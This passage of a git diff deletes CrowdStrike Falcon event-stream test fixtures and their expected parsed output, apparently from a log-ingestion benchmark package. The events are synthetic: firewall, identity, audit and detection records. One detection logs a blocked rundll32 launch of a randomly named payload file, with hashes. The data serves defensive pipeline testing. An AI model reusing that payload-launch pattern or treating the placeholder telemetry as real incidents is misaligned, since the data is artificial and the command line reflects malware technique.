10:39:29Z","TreeID":"","Platform":"windows"}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8693906,"eventType":"IdpDetectionSummaryEvent","eventCreationTime":1698921607000,"version":"1.0"},"event":{"ContextTimeStamp":133433951380000000,"DetectId":"abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222","DetectName":"Unusual login to an endpoint","DetectDescription":"A user logged into a machine for the first time","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222","StartTime":133433949600000000,"EndTime":133433949600000000,"Severity":34,"SeverityName":"Low","Tactic":"InitialAccess","Technique":"ValidAccounts","Objective":"Gain Access","SourceAccountDomain":"NA.AAA.ABC.com","SourceAccountName":"abc.service","SourceAccountUpn":"admin.service@example.com","SourceAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-175881","SourceEndpointAccountObjectGuid":"C078A5DA-E13B-4418-AA28-802EF8C16210","SourceEndpointAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-316681","SourceEndpointHostName":"nope122.na.net.ABC.com","SourceEndpointIpAddress":"81.2.69.142","SourceEndpointSensorId":"a2f1de586958434eb5e14e30214e17ed","ActivityId":"76CC8396-7148-4CEB-84CB-08FAFE4FAC37","PatternId":51135,"SourceVendors":"CrowdStrike","SourceProducts":"FalconIdentityProtection","DataDomains":"Identity"}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8694126,"eventType":"IdentityProtectionEvent","eventCreationTime":1698923523065,"version":"1.0"},"event":{"IncidentType":"Unusuallogintoanendpoint","IncidentDescription":"Unusuallogintoanendpoint","Severity":4,"SeverityName":"LOW","StartTime":1698923340000,"EndTime":1698923340000,"IdentityProtectionIncidentId":"7a79b2de-4e10-41fb-818f-2bdf53c1625a","UserName":"NA.NET.ABC.com\\abc.service","EndpointName":"itreg1d3wp8vh3.eu.net.ABC.com","EndpointIp":"","Category":"Detections","NumbersOfAlerts":1,"NumberOfCompromisedEntities":2,"State":"NEW","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A"}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8694676,"eventType":"AuthActivityAuditEvent","eventCreationTime":1698927699286,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"saml2Assert","ServiceName":"CrowdstrikeAuthentication","Success":true,"UTCTimestamp":1698927699,"AuditKeyValues":[{"Key":"target_user","ValueString":"admin.rose@example.com"},{"Key":"trace_id","ValueString":"19169200-76c5-4861-92f1-355d0a908f40"},{"Key":"saml_envelope","ValueString":"SampleValue"},{"Key":"saml_assertion","ValueString":"sampleassertion"},{"Key":"app_id","ValueString":"fa8e047e-2e60-4837-b987-c57020947cd6"},{"Key":"actor_user","ValueString":"admin.rose@example.com"},{"Key":"actor_user_uuid","ValueString":"8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb"},{"Key":"actor_cid","ValueString":"abcabcabc22222"}],"Attributes":{"actor_cid":"abcabcabc22222","actor_user":"admin.rose@example.com","actor_user_uuid":"00000000-aaaa-480b-a05a-bb94ff5dc0fb","app_id":"aaaaaaaa-2e60-4837-b987-c57020947cd6","saml_assertion":"saml_assertion_sample","target_user":"admin.rose@example.com","trace_id":"000000-76c5-4861-92f1-355d0a908f40"}}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8694733,"eventType":"UserActivityAuditEvent","eventCreationTime":1698928127000,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"reveal_token","ServiceName":"sensor_update_policy","AuditKeyValues":[{"Key":"device_id","ValueString":"abcancancbanjjagjaj"},{"Key":"seedID","ValueString":"101"},{"Key":"message","ValueString":"Removeduplicatesensor."}],"UTCTimestamp":1698928127,"Attributes":{"device_id":"afjafanfafasfjaf","message":"Removeduplicatesensor.","seedID":"101"}}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8694992,"eventType":"ScheduledReportNotificationEvent","eventCreationTime":1698930172000,"version":"1.0"},"event":{"UserUUID":"9999999-bc3c-99bb-a05a-bb94ff5dc0fb","UserID":"admin.rose@example.com","ExecutionID":"efghtigh","ReportID":"999999ddddddddd","ReportName":"LarouxSearch","ReportType":"event_search","ReportFileReference":"/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444","Status":1,"StatusMessage":"message","ExecutionMetadata":{"ExecutionStart":1698930019000,"ExecutionDuration":152176,"ReportFileName":"Laroux_Search_2023_November_2_13017_34176.csv","ResultCount":0,"ResultID":"fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=","SearchWindowStart":1698843600000,"SearchWindowEnd":1698930000000}}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8695284,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8695332,"eventType":"DetectionSummaryEvent","eventCreationTime":1698932615000,"version":"1.0"},"event":{"ProcessStartTime":1698932614,"ProcessEndTime":1698932614,"ProcessId":54665651,"ParentProcessId":540396081,"ComputerName":"INNOIDL0032","UserName":"vishnu.sharma","DetectName":"AttackerMethodology","DetectDescription":"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.","Severity":4,"SeverityName":"High","FileName":"rundll32.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32","CommandLine":"\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh","SHA256String":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","MD5String":"a52bfa4a96f97c368312028dbd7c8461","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"AP","FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a","SensorId":"69027ffffffffffffaaf50","IOCType":"hash_sha256","IOCValue":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","DetectId":"ldt:690ddddddd0721205","LocalIP":"81.2.69.144","MACAddress":"02-50-41-00-00-01","Tactic":"DefenseEvasion","Technique":"Rundll32","Objective":"KeepAccess","PatternDispositionDescription":"Prevention,processwasblockedfromexecution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe","HostGroups":"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812","Tags":"SensorGroupingTags/USB_Storage_Exception","AssociatedFile":"\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe","PatternId":10186}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8698239,"eventType":"IncidentSummaryEvent","eventCreationTime":1698971797000,"version":"1.0"},"event":{"IncidentStartTime":1698971797,"IncidentEndTime":1698971797,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj","State":"open","FineScore":6.1,"LateralMovement":0,"IncidentType":1,"IncidentID":"inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e","HostID":"4345454534534545"}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8695332,"eventType":"DetectionSummaryEvent","eventCreationTime":1698932615000,"version":"1.0"},"event":{"ProcessStartTime":1698932614,"ProcessEndTime":1698932614,"ProcessId":54665651,"ParentProcessId":540396081,"ComputerName":"INNOIDL0032","UserName":"vishnu.sharma","DetectName":"AttackerMethodology","DetectDescription":"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.","Severity":4,"SeverityName":"High","FileName":"rundll32.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32","CommandLine":"\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh","SHA256String":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","MD5String":"a52bfa4a96f97c368312028dbd7c8461","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"AP","FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a","SensorId":"69027ffffffffffffaaf50","IOCType":"hash_sha256","IOCValue":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","DetectId":"ldt:690ddddddd0721205","LocalIP":"81.2.69.144","MACAddress":"02-50-41-00-00-01","Tactic":"DefenseEvasion","Technique":"Rundll32","Objective":"KeepAccess","PatternDispositionDescription":"Prevention,processwasblockedfromexecution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe","HostGroups":"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812","Tags":"SensorGroupingTags/USB_Storage_Exception","AssociatedFile":"\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe","PatternId":10186,"MitreAttack":[{"Tactic":"DefenseEvasion","Technique":"Rundll32","PatternID":10186}]}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json deleted file mode 100644 index 6223e02bb5..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json +++ /dev/null @@ -1,984 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-11-02T10:39:31.000Z", - "crowdstrike": { - "event": { - "CustomerId": "abcabcabc22222", - "DeviceId": "6734ff444f4456", - "Flags": { - "Audit": false, - "Log": true, - "Monitor": true - }, - "MatchCount": 1, - "MatchCountSinceLastReport": 1, - "NetworkProfile": "2", - "PolicyID": "3ec266b28bef471f9fd990e4f39ac829", - "PolicyName": "PROD-FW-Workstations-Office-20201001", - "Protocol": "6", - "RuleAction": "2", - "Timestamp": "2023-11-02T10:39:29Z" - }, - "metadata": { - "customerIDString": "abcabcabc22222", - "eventType": "FirewallMatchEvent", - "offset": 8693900, - "version": "1.0" - } - }, - "destination": { - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.142", - "port": 445 - }, - "device": { - "id": "6734ff444f4456" - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "firewall_match_event" - ], - "category": [ - "network" - ], - "code": "FirewallRuleIP4Matched", - "created": "2023-11-02T10:39:31.000Z", - "kind": "event", - "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8693900,\"eventType\":\"FirewallMatchEvent\",\"eventCreationTime\":1698921571000,\"version\":\"1.0\"},\"event\":{\"DeviceId\":\"6734ff444f4456\",\"CustomerId\":\"abcabcabc22222\",\"Ipv\":\"ipv4\",\"CommandLine\":\"System\",\"ConnectionDirection\":\"1\",\"EventType\":\"FirewallRuleIP4Matched\",\"Flags\":{\"Audit\":false,\"Log\":true,\"Monitor\":true},\"HostName\":\"INPUNEDITCLP229\",\"ICMPCode\":\"\",\"ICMPType\":\"\",\"ImageFileName\":\"System\",\"LocalAddress\":\"81.2.69.142\",\"LocalPort\":\"445\",\"MatchCount\":1,\"MatchCountSinceLastReport\":1,\"NetworkProfile\":\"2\",\"PID\":\"11111111\",\"PolicyName\":\"PROD-FW-Workstations-Office-20201001\",\"PolicyID\":\"3ec266b28bef471f9fd990e4f39ac829\",\"Protocol\":\"6\",\"RemoteAddress\":\"81.2.69.142\",\"RemotePort\":\"53452\",\"RuleAction\":\"2\",\"RuleDescription\":\"\",\"RuleFamilyID\":\"11111111aaaaaaaa\",\"RuleGroupName\":\"SMBRules\",\"RuleName\":\"InboundSMBBlock\\u0026LogPrivate\",\"RuleId\":\"4877172638743447345\",\"Status\":\"\",\"Timestamp\":\"2023-11-02T10:39:29Z\",\"TreeID\":\"\",\"Platform\":\"windows\"}}", - "type": [ - "start", - "connection", - "denied" - ] - }, - "host": { - "name": "INPUNEDITCLP229", - "os": { - "platform": "windows" - } - }, - "message": "Firewall Rule: 'InboundSMBBlock&LogPrivate' triggered - Action: 'Blocked'", - "network": { - "direction": "ingress", - "type": "ipv4" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "System" - ], - "command_line": "System", - "entity_id": "11111111", - "executable": "System", - "pid": 11111111 - }, - "related": { - "hosts": [ - "INPUNEDITCLP229" - ], - "ip": [ - "81.2.69.142" - ] - }, - "rule": { - "category": "11111111aaaaaaaa", - "id": "4877172638743447345", - "name": "InboundSMBBlock&LogPrivate", - "ruleset": "SMBRules" - }, - "source": { - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.142", - "port": 53452 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2023-11-02T10:40:07.000Z", - "crowdstrike": { - "event": { - "ActivityId": "76CC8396-7148-4CEB-84CB-08FAFE4FAC37", - "DataDomains": "Identity", - "Objective": "Gain Access", - "PatternId": "51135", - "Severity": 34, - "SeverityName": "Low", - "SourceAccountUpn": "admin.service@example.com", - "SourceEndpointAccountObjectGuid": "C078A5DA-E13B-4418-AA28-802EF8C16210", - "SourceEndpointAccountObjectSid": "S-1-S-1-S-1-1111-1844237615-1801674531-316681", - "SourceEndpointSensorId": "a2f1de586958434eb5e14e30214e17ed", - "SourceProducts": "FalconIdentityProtection", - "SourceVendors": "CrowdStrike" - }, - "metadata": { - "customerIDString": "abcabcabc22222", - "eventType": "IdpDetectionSummaryEvent", - "offset": 8693906, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "ipd-detection", - "category": [ - "malware" - ], - "created": "2023-11-02T10:38:58.000Z", - "end": "2023-11-02T10:36:00.000Z", - "kind": "alert", - "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8693906,\"eventType\":\"IdpDetectionSummaryEvent\",\"eventCreationTime\":1698921607000,\"version\":\"1.0\"},\"event\":{\"ContextTimeStamp\":133433951380000000,\"DetectId\":\"abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222\",\"DetectName\":\"Unusual login to an endpoint\",\"DetectDescription\":\"A user logged into a machine for the first time\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222\",\"StartTime\":133433949600000000,\"EndTime\":133433949600000000,\"Severity\":34,\"SeverityName\":\"Low\",\"Tactic\":\"InitialAccess\",\"Technique\":\"ValidAccounts\",\"Objective\":\"Gain Access\",\"SourceAccountDomain\":\"NA.AAA.ABC.com\",\"SourceAccountName\":\"abc.service\",\"SourceAccountUpn\":\"admin.service@example.com\",\"SourceAccountObjectSid\":\"S-1-S-1-S-1-1111-1844237615-1801674531-175881\",\"SourceEndpointAccountObjectGuid\":\"C078A5DA-E13B-4418-AA28-802EF8C16210\",\"SourceEndpointAccountObjectSid\":\"S-1-S-1-S-1-1111-1844237615-1801674531-316681\",\"SourceEndpointHostName\":\"nope122.na.net.ABC.com\",\"SourceEndpointIpAddress\":\"81.2.69.142\",\"SourceEndpointSensorId\":\"a2f1de586958434eb5e14e30214e17ed\",\"ActivityId\":\"76CC8396-7148-4CEB-84CB-08FAFE4FAC37\",\"PatternId\":51135,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"FalconIdentityProtection\",\"DataDomains\":\"Identity\"}}", - "reference": "https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222", - "severity": 21, - "start": "2023-11-02T10:36:00.000Z", - "type": [ - "info" - ] - }, - "host": { - "ip": [ - "81.2.69.142" - ], - "name": "nope122.na.net.ABC.com" - }, - "message": "A user logged into a machine for the first time", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "nope122.na.net.ABC.com" - ], - "user": [ - "abc.service" - ] - }, - "rule": { - "description": "A user logged into a machine for the first time", - "id": "abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222", - "name": "Unusual login to an endpoint", - "uuid": "51135" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "InitialAccess" - ] - }, - "technique": { - "name": [ - "ValidAccounts" - ] - } - }, - "user": { - "domain": "NA.AAA.ABC.com", - "id": "S-1-S-1-S-1-1111-1844237615-1801674531-175881", - "name": "abc.service" - } - }, - { - "@timestamp": "2023-11-02T11:09:00.000Z", - "crowdstrike": { - "event": { - "Category": "Detections", - "NumberOfCompromisedEntities": 2, - "NumbersOfAlerts": 1, - "Severity": 4, - "SeverityName": "LOW", - "State": "NEW" - }, - "metadata": { - "customerIDString": "abcabcabc22222", - "eventType": "IdentityProtectionEvent", - "offset": 8694126, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Unusuallogintoanendpoint", - "category": [ - "iam" - ], - "created": "2023-11-02T11:12:03.065Z", - "end": "2023-11-02T11:09:00.000Z", - "id": "7a79b2de-4e10-41fb-818f-2bdf53c1625a", - "kind": "event", - "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694126,\"eventType\":\"IdentityProtectionEvent\",\"eventCreationTime\":1698923523065,\"version\":\"1.0\"},\"event\":{\"IncidentType\":\"Unusuallogintoanendpoint\",\"IncidentDescription\":\"Unusuallogintoanendpoint\",\"Severity\":4,\"SeverityName\":\"LOW\",\"StartTime\":1698923340000,\"EndTime\":1698923340000,\"IdentityProtectionIncidentId\":\"7a79b2de-4e10-41fb-818f-2bdf53c1625a\",\"UserName\":\"NA.NET.ABC.com\\\\abc.service\",\"EndpointName\":\"itreg1d3wp8vh3.eu.net.ABC.com\",\"EndpointIp\":\"\",\"Category\":\"Detections\",\"NumbersOfAlerts\":1,\"NumberOfCompromisedEntities\":2,\"State\":\"NEW\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A\"}}", - "reference": "https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A", - "severity": 21, - "start": "2023-11-02T11:09:00.000Z", - "type": [ - "info" - ] - }, - "host": { - "hostname": "itreg1d3wp8vh3.eu.net.ABC.com" - }, - "message": "Unusuallogintoanendpoint", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "user": [ - "abc.service" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "NA.NET.ABC.com", - "name": "abc.service" - } - }, - { - "@timestamp": "2023-11-02T12:21:39.000Z", - "crowdstrike": { - "event": { - "Attributes": { - "actor_cid": "abcabcabc22222", - "actor_user": "admin.rose@example.com", - "actor_user_uuid": "00000000-aaaa-480b-a05a-bb94ff5dc0fb", - "app_id": "aaaaaaaa-2e60-4837-b987-c57020947cd6", - "saml_assertion": "saml_assertion_sample", - "target_user": "admin.rose@example.com", - "trace_id": "000000-76c5-4861-92f1-355d0a908f40" - }, - "AuditKeyValues": [ - { - "Key": "target_user", - "ValueString": "admin.rose@example.com" - }, - { - "Key": "trace_id", - "ValueString": "19169200-76c5-4861-92f1-355d0a908f40" - }, - { - "Key": "saml_envelope", - "ValueString": "SampleValue" - }, - { - "Key": "saml_assertion", - "ValueString": "sampleassertion" - }, - { - "Key": "app_id", - "ValueString": "fa8e047e-2e60-4837-b987-c57020947cd6" - }, - { - "Key": "actor_user", - "ValueString": "admin.rose@example.com" - }, - { - "Key": "actor_user_uuid", - "ValueString": "8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb" - }, - { - "Key": "actor_cid", - "ValueString": "abcabcabc22222" - } - ], - "OperationName": "saml2Assert", - "Success": true - }, - "metadata": { - "customerIDString": "abcabcabc22222", - "eventType": "AuthActivityAuditEvent", - "offset": 8694676, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "saml2Assert" - ], - "category": [ - "iam" - ], - "created": "2023-11-02T12:21:39.286Z", - "kind": "event", - "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694676,\"eventType\":\"AuthActivityAuditEvent\",\"eventCreationTime\":1698927699286,\"version\":\"1.0\"},\"event\":{\"UserId\":\"admin.rose@example.com\",\"UserIp\":\"81.2.69.144\",\"OperationName\":\"saml2Assert\",\"ServiceName\":\"CrowdstrikeAuthentication\",\"Success\":true,\"UTCTimestamp\":1698927699,\"AuditKeyValues\":[{\"Key\":\"target_user\",\"ValueString\":\"admin.rose@example.com\"},{\"Key\":\"trace_id\",\"ValueString\":\"19169200-76c5-4861-92f1-355d0a908f40\"},{\"Key\":\"saml_envelope\",\"ValueString\":\"SampleValue\"},{\"Key\":\"saml_assertion\",\"ValueString\":\"sampleassertion\"},{\"Key\":\"app_id\",\"ValueString\":\"fa8e047e-2e60-4837-b987-c57020947cd6\"},{\"Key\":\"actor_user\",\"ValueString\":\"admin.rose@example.com\"},{\"Key\":\"actor_user_uuid\",\"ValueString\":\"8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb\"},{\"Key\":\"actor_cid\",\"ValueString\":\"abcabcabc22222\"}],\"Attributes\":{\"actor_cid\":\"abcabcabc22222\",\"actor_user\":\"admin.rose@example.com\",\"actor_user_uuid\":\"00000000-aaaa-480b-a05a-bb94ff5dc0fb\",\"app_id\":\"aaaaaaaa-2e60-4837-b987-c57020947cd6\",\"saml_assertion\":\"saml_assertion_sample\",\"target_user\":\"admin.rose@example.com\",\"trace_id\":\"000000-76c5-4861-92f1-355d0a908f40\"}}}", - "outcome": "success" - }, - "message": "CrowdstrikeAuthentication", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "81.2.69.144" - ], - "user": [ - "admin.rose", - "admin.rose@example.com" - ] - }, - "source": { - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.144" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "example.com", - "email": "admin.rose@example.com", - "name": "admin.rose" - } - }, - { - "@timestamp": "2023-11-02T12:28:47.000Z", - "crowdstrike": { - "event": { - "Attributes": { - "device_id": "afjafanfafasfjaf", - "message": "Removeduplicatesensor.", - "seedID": "101" - }, - "AuditKeyValues": [ - { - "Key": "device_id", - "ValueString": "abcancancbanjjagjaj" - }, - { - "Key": "seedID", - "ValueString": "101" - }, - { - "Key": "message", - "ValueString": "Removeduplicatesensor." - } - ], - "ServiceName": "sensor_update_policy" - }, - "metadata": { - "customerIDString": "abcabcabc22222", - "eventType": "UserActivityAuditEvent", - "offset": 8694733, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "user_activity_audit_event", - "category": [ - "iam" - ], - "created": "2023-11-02T12:28:47.000Z", - "kind": "event", - "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694733,\"eventType\":\"UserActivityAuditEvent\",\"eventCreationTime\":1698928127000,\"version\":\"1.0\"},\"event\":{\"UserId\":\"admin.rose@example.com\",\"UserIp\":\"81.2.69.144\",\"OperationName\":\"reveal_token\",\"ServiceName\":\"sensor_update_policy\",\"AuditKeyValues\":[{\"Key\":\"device_id\",\"ValueString\":\"abcancancbanjjagjaj\"},{\"Key\":\"seedID\",\"ValueString\":\"101\"},{\"Key\":\"message\",\"ValueString\":\"Removeduplicatesensor.\"}],\"UTCTimestamp\":1698928127,\"Attributes\":{\"device_id\":\"afjafanfafasfjaf\",\"message\":\"Removeduplicatesensor.\",\"seedID\":\"101\"}}}", - "type": [ - "change" - ] - }, - "message": "reveal_token", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "81.2.69.144" - ], - "user": [ - "admin.rose", - "admin.rose@example.com" - ] - }, - "source": { - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.144" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "example.com", - "email": "admin.rose@example.com", - "name": "admin.rose" - } - }, - { - "@timestamp": "2023-11-02T13:00:00.000Z", - "crowdstrike": { - "event": { - "ExecutionID": "efghtigh", - "ExecutionMetadata": { - "ExecutionDuration": 152176, - "ExecutionStart": 1698930019000, - "ReportFileName": "Laroux_Search_2023_November_2_13017_34176.csv", - "ResultCount": 0, - "ResultID": "fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=", - "SearchWindowEnd": 1698930000000, - "SearchWindowStart": 1698843600000 - }, - "ReportFileReference": "/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444", - "ReportID": "999999ddddddddd", - "ReportName": "LarouxSearch", - "ReportType": "event_search", - "Status": "1", - "StatusMessage": "message", - "UserUUID": "9999999-bc3c-99bb-a05a-bb94ff5dc0fb" - }, - "metadata": { - "customerIDString": "abcabcabc22222", - "eventType": "ScheduledReportNotificationEvent", - "offset": 8694992, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "created": "2023-11-02T13:02:52.000Z", - "kind": "event", - "original": 